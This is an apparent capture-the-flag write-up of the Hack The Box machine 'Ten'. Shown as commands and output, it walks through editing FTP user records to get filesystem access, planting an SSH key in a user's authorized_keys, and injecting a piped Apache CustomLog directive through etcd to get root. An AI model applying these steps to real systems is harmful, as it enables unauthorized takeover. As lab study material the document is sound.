Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ nmap -sC -sV -Pn 10.129.234.158 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-30 15:23 UTC
Nmap scan report for 10.129.234.158
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 13:98:54:52:d3:7b:ae:32:6a:33:6f:18:a3:5a:27:66 (ECDSA)
|_ 256 2e:d5:86:25:c1:6b:0e:51:a2:2a:dd:82:44:a6:00:63 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 169.84 seconds
Page check
index page ![[Pasted image 20251030153031.png]]
Now I would try to fuzz the web contents
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ffuf -u http://10.129.234.158/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.234.158/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 205, Words: 17, Lines: 10, Duration: 3859ms]
.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4767ms]
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4770ms]
.hta [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4771ms]
dist [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 275ms]
index.php [Status: 200, Size: 5131, Words: 764, Lines: 114, Duration: 276ms]
index.html [Status: 200, Size: 205, Words: 17, Lines: 10, Duration: 277ms]
info.php [Status: 200, Size: 74387, Words: 3532, Lines: 844, Duration: 303ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 275ms]
:: Progress: [4614/4614] :: Job [1/1] :: 145 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
/dist ![[Pasted image 20251030153223.png]] There are some static templates here, and only has images, CSS, and JavaScript, and nothing interesting.
Also we can visit /info.php
![[Pasted image 20251030153314.png]]
I would continue to enumerate the signup page ![[Pasted image 20251030153547.png]]
When I try to add the name wither, it would give us the domain name wither.ten.vl
![[Pasted image 20251030153557.png]]
So I guess there would be other sub-domains here
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ffuf -u http://ten.vl -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.ten.vl" -fs 205
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ten.vl
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.ten.vl
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 205
________________________________________________
webdb [Status: 200, Size: 1685, Words: 55, Lines: 14, Duration: 323ms]
Web database page
Now we can check this site
![[Pasted image 20251030154045.png]]
When we press guess credentials, it would button pops up the valid creds:
And then loads the interface under connected:
![[Pasted image 20251030154143.png]]
Going into the pureftpd db, there is one table, users
![[Pasted image 20251030154321.png]]
I’ll try editing the dir value for an account I control. It seems each intended value is /srv/<username>/./. I’ll try making it just /./:
![[Pasted image 20251105203726.png]]
It would give us an error message ![[Pasted image 20251105203841.png]]
So we have to start with /srv/, we can try /srv/./and let's try to connect to ftp service with the credit we have before
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:43. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||35725|)
150 Accepted data connection
226-Options: -l
226 0 matches total
Seems like worked here, so let's continue to try /srv/../, that should redirect to /root directory
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:45. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||58040|)
150 Accepted data connection
lrwxrwxrwx 1 0 root 7 Feb 16 2024 bin -> usr/bin
drwxr-xr-x 4 0 root 4096 Jun 24 20:09 boot
dr-xr-xr-x 2 0 root 4096 Jul 2 11:30 cdrom
drwxr-xr-x 19 0 root 4000 Nov 5 09:15 dev
drwxr-xr-x 107 0 root 4096 Jul 2 12:27 etc
drwxr-xr-x 3 0 root 4096 Sep 28 2024 home
lrwxrwxrwx 1 0 root 7 Feb 16 2024 lib -> usr/lib
lrwxrwxrwx 1 0 root 9 Feb 16 2024 lib32 -> usr/lib32
lrwxrwxrwx 1 0 root 9 Feb 16 2024 lib64 -> usr/lib64
lrwxrwxrwx 1 0 root 10 Feb 16 2024 libx32 -> usr/libx32
drwx------ 2 0 root 16384 Sep 28 2024 lost+found
drwxr-xr-x 2 0 root 4096 Feb 16 2024 media
drwxr-xr-x 2 0 root 4096 Feb 16 2024 mnt
drwxr-xr-x 3 0 root 4096 Sep 28 2024 opt
dr-xr-xr-x 294 0 root 0 Nov 5 09:15 proc
drwx------ 7 0 root 4096 Jul 2 12:29 root
drwxr-xr-x 33 0 root 1000 Nov 5 09:31 run
lrwxrwxrwx 1 0 root 8 Feb 16 2024 sbin -> usr/sbin
drwxr-xr-x 6 0 root 4096 Feb 16 2024 snap
drwxr-xr-x 2 0 root 4096 Feb 16 2024 srv
dr-xr-xr-x 13 0 root 0 Nov 5 09:15 sys
drwxrwxrwt 14 0 root 4096 Nov 5 09:44 tmp
drwxr-xr-x 14 0 root 4096 Feb 16 2024 usr
drwxr-xr-x 14 0 root 4096 Sep 28 2024 var
226-Options: -l
226 24 matches total
Then we can get the /etc/passwd
ftp> cd etc
250 OK. Current directory is /etc
ftp> get passwd
local: passwd remote: passwd
229 Extended Passive mode OK (|||41974|)
150 Accepted data connection
100% |***********************************************************************************************************************************| 1882 6.63 KiB/s 00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 22.74 Mbytes per second
1882 bytes received in 00:00 (6.60 KiB/s)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
tyrellwould be our next target
If I try to get shadow, it fails:
ftp> get shadow
local: shadow remote: shadow
229 Extended Passive mode OK (|||47595|)
550 Can't open shadow: Permission denied
Even try to visit the home directory of tyrell, it still failed
ftp> cd /home
250 OK. Current directory is /home
ftp> ls
229 Extended Passive mode OK (|||22373|)
150 Accepted data connection
drwxr-x--- 4 1000 tyrell 4096 Jun 24 20:09 tyrell
226-Options: -l
226 1 matches total
ftp> cd tyrell
550 Can't change directory to tyrell: Permission denied
Now we have to come back to the web page, we can try to change the user’s UID and GID
![[Pasted image 20251105204611.png]]
I am trying to change into 0(root), but seems like only accept larger than 999.
I remember the UID and GID of tyrellis 1000
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
So let's change into 1000 and visit the ftp service again.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:51. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd home/tyrell
250 OK. Current directory is /home/tyrell
ftp> ls
229 Extended Passive mode OK (|||59377|)
150 Accepted data connection
226-Options: -l
226 0 matches total
ftp> ls -l
229 Extended Passive mode OK (|||49248|)
150 Accepted data connection
226-Options: -l
226 0 matches total
ftp> ls -al
229 Extended Passive mode OK (|||15581|)
150 Accepted data connection
drwxr-x--- 4 1000 tyrell 4096 Jun 24 20:09 .
drwxr-xr-x 3 0 root 4096 Sep 28 2024 ..
lrwxrwxrwx 1 0 root 9 Jun 24 20:09 .bash_history -> /dev/null
-rw-r--r-- 1 1000 tyrell 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 1000 tyrell 3771 Jan 6 2022 .bashrc
drwx------ 2 1000 tyrell 4096 Sep 28 2024 .cache
-rw-r--r-- 1 1000 tyrell 807 Jan 6 2022 .profile
drwx------ 2 1000 tyrell 4096 Sep 28 2024 .ssh
-r-------- 1 1000 tyrell 33 Apr 11 2025 .user.txt
226-Options: -a -l
226 9 matches total
Now we can finally visit the home directory, but we still don't have permission to .sshor user.txt
ftp> cd .ssh
553 Prohibited file name: .ssh
ftp> get .user.txt
local: .user.txt remote: .user.txt
229 Extended Passive mode OK (|||36557|)
553 Prohibited file name: .user.txt
There seems to be a block on anything that starts with .. But what if I try setting the base directory to /home/tyrell/.ssh? It works in the web DB UI:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:55. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password:
230 OK. Current directory is /home/tyrell/.ssh
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Extended Passive mode OK (|||8684|)
150 Accepted data connection
drwx------ 2 1000 tyrell 4096 Sep 28 2024 .
drwxr-x--- 4 1000 tyrell 4096 Jun 24 20:09 ..
-rw------- 1 1000 tyrell 162 Sep 28 2024 authorized_keys
226-Options: -a -l
226 3 matches total
Now we can put our public key to this directory and then we can ssh connect to get the user shell
ftp> put ~/.ssh/id_rsa.pub authorized_keys
local: /home/wither/.ssh/id_rsa.pub remote: authorized_keys
229 Extended Passive mode OK (|||39247|)
150 Accepted data connection
100% |***********************************************************************************************************************************| 730 453.78 KiB/s 00:00 ETA
226-File successfully transferred
226 0.717 seconds (measured here), 0.99 Kbytes per second
730 bytes sent in 00:00 (0.77 KiB/s)
ftp>
Then ssh connect it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ssh tyrell@10.129.234.158 -i ~/.ssh/id_rsa
The authenticity of host '10.129.234.158 (10.129.234.158)' can't be established.
ED25519 key fingerprint is SHA256:l6yrcdMcU34GxTUYFlSibADXTv2/Bd1AEnItyyI0jdg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.234.158' (ED25519) to the list of known hosts.
System information as of Wed Nov 5 09:57:20 AM UTC 2025
System load: 0.01 Processes: 241
Usage of /: 70.1% of 8.07GB Users logged in: 0
Memory usage: 12% IPv4 address for eth0: 10.129.234.158
Swap usage: 0%
tyrell@ten:~$ whoami
tyrell
tyrell@ten:~$ id
uid=1000(tyrell) gid=1000(tyrell) groups=1000(tyrell)
Privilege Escalation
I would like check sudo -lfirst, but we can't check it because of no password
tyrell@ten:~$ sudo -l
[sudo] password for tyrell:
sudo: a password is required
Let's continue to enumerate the config of web services
tyrell@ten:/etc/apache2/sites-enabled$ ls
000-default.conf 001-webdb.conf 010-customers.conf
tyrell@ten:/etc/apache2/sites-enabled$ cat 000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@ten.vl
DocumentRoot /var/www/html
</VirtualHost>
tyrell@ten:/etc/apache2/sites-enabled$ cat 001-webdb.conf
<VirtualHost *:80>
ServerAdmin webmaster@ten.vl
ServerName webdb.ten.vl
ProxyPass "/" "http://127.0.0.1:22071/"
ProxyPassReverse "/" "http://127.0.0.1:22071/"
</VirtualHost>
tyrell@ten:/etc/apache2/sites-enabled$ cat 010-customers.conf
<VirtualHost *:80>
ServerName wither.ten.vl
DocumentRoot /srv/ten-200deac2/
</VirtualHost>
000-default.conf simply hosts the files in /var/www/html
001-webdb.conf forwards traffic to that virtual host to localhost port 22071, which is the webdb instance
010-customers.confhas an entry for each site I’ve registered
/var/www/html has the PHP files that control the site:
tyrell@ten:/var/www/html$ ls
attribution.php carousel.css dist get-credentials-please-do-not-spam-this-thanks.php images.txt index.html index.php info.php signup.php
get-credentials-please-do-not-spam-this-thanks.phpthis file is so funny and we can check its source code
tyrell@ten:/var/www/html$ cat get-credentials-please-do-not-spam-this-thanks.php
<?php
if ( !isset($_POST['domain']) ) {
header('Location: /signup.php');
}
if(!preg_match('/^[0-9a-z]+$/', $_POST['domain'])) {
echo('<font color=red>Domain name can only contain alphanumeric characters.</font>');
} else {
$username = "ten-" . substr(hash("md5",rand()),0,8);
$password = substr(hash("md5",rand()),0,8);
$password_crypt = crypt($password,'$1$OWNhNDE');
sleep(10); // This is only here so that you do not create too many users :)
$mysqli = new mysqli("127.0.0.1", "user", "pa55w0rd", "pureftpd");
$stmt = $mysqli->prepare("INSERT INTO users VALUES ( NULL, ?, ?, ?, ?, ? );");
$uid = random_int(2000,65535);
$dir = "/srv/$username/./";
$stmt->bind_param('ssiis',$username,$password_crypt,$uid,$uid,$dir);
$stmt->execute();
system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);
echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br>Personal Domain: <b>'.$_POST['domain'].'.ten.vl</b><br><br>You can use the provided credentials to upload your pages<br> via ftp://ten.vl.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you as well as your personal virtual host to be available.</font></p>');
}
It starts by making sure the domain POST parameter is set, and redirecting to /signup.php if not
Then it checks for non alphanumeric characters in the domain, and returns a message if it finds any
If all is valid, it creates a username, random password, and connects to and updates the database
Then it calls system() with the etcdctl command, and then writes the results to the response.
etcd is a distributed key-value store. The docs have a page called Interacting with etcd that show how to use etcdctl to read and write from this store.
I can dump all the customer data using the --prefix flag:
tyrell@ten:/var/www/html$ ETCDCTL_API=3 etcdctl get /customers/ --prefix
/customers/ten-200deac2/url
wither
If I can put newlines into the etcd values, then I can inject parameters into the Apache config file.
tyrell@ten:/var/www/html$ ETCDCTL_API=3 etcdctl get /customers/ --prefix
/customers/ten-200deac2/url
wither
tyrell@ten:/var/www/html$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
# test here
#'
OK
tyrell@ten:/var/www/html$ head /etc/apache2/sites-enabled/010-customers.conf | head
<VirtualHost *:80>
ServerName privesc.ten.vl
# test here
#.ten.vl
DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>
<VirtualHost *:80>
It worked here.
I’ll write a directive to copy the authorized_keys file from tyrell to root:
tyrell@ten:/var/www/html$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common
#'
OK
tyrell@ten:/var/www/html$ head /etc/apache2/sites-enabled/010-customers.conf | head
<VirtualHost *:80>
ServerName privesc.ten.vl
CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common
#.ten.vl
DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>
<VirtualHost *:80>
Now we can use ssh connect to root shell
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ssh root@10.129.234.158 -i ~/.ssh/id_rsa
System information as of Wed Nov 5 10:12:16 AM UTC 2025
System load: 0.08 Processes: 241
Usage of /: 70.2% of 8.07GB Users logged in: 1
Memory usage: 13% IPv4 address for eth0: 10.129.234.158
Swap usage: 0%
=> There is 1 zombie process.
Last login: Wed Jul 2 12:28:21 2025
root@ten:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ten:~# whoami
root
Description
Ten is a misconfigured shared-hosting box: register for FTP, abuse weak MySQL/FTP integration to pivot to a local user, then poison the etcd-driven Apache config reload to gain root.